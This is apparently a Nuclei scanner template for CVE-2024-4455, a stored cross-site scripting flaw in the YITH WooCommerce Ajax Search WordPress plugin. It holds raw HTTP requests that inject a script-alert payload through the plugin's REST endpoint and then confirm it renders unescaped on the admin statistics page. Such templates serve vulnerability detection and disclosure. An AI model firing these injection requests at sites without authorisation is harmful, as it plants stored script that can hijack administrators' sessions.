YITH WooCommerce Ajax Search <= 2.4.0 - Cross-Site Scripting

id: CVE-2024-4455

info:
  name: YITH WooCommerce Ajax Search <= 2.4.0 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: high
  description: |
    The YITH WooCommerce Ajax Search plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'queryString' parameter in the REST API endpoint /ywcas/v1/register in versions up to, and including, 2.4.0 due to insufficient input sanitization and output escaping.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update YITH WooCommerce Ajax Search plugin to version 2.4.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4455
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/cf0f5fd4-cd06-4d11-9f22-1f417b546afb
    - https://patchstack.com/database/vulnerability/yith-woocommerce-ajax-search/wordpress-yith-woocommerce-ajax-search-plugin-2-4-0-unauthenticated-stored-cross-site-scripting-vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2024-4455
    epss-score: 0.0101
    epss-percentile: 0.58886
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 4
    vendor: yithemes
    product: yith-woocommerce-ajax-search
    framework: wordpress
  tags: cve,cve2024,wordpress,wp,wp-plugin,xss,yith,woocommerce,authenticated,vkev

flow: (http(1) && http(2)) || (http(3) && http(4))

http:
  - raw:
      - |
        GET /wp-content/plugins/yith-woocommerce-ajax-search/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '<= 2.4.0')"
          - "contains(body, 'YITH WooCommerce Ajax Search')"
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /?rest_route=/ywcas/v1/register&queryString=<script>alert(document.domain)</script>&totalResults=0 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: regex
        part: body
        regex:
          - '"loggerID":\s*[0-9]+'

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

  - raw:
      - |
        GET /wp-admin/admin.php?page=yith_wcas_panel&tab=statistic&from&to&view_all=no_results HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Query\"><script>alert(document.domain)</script>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
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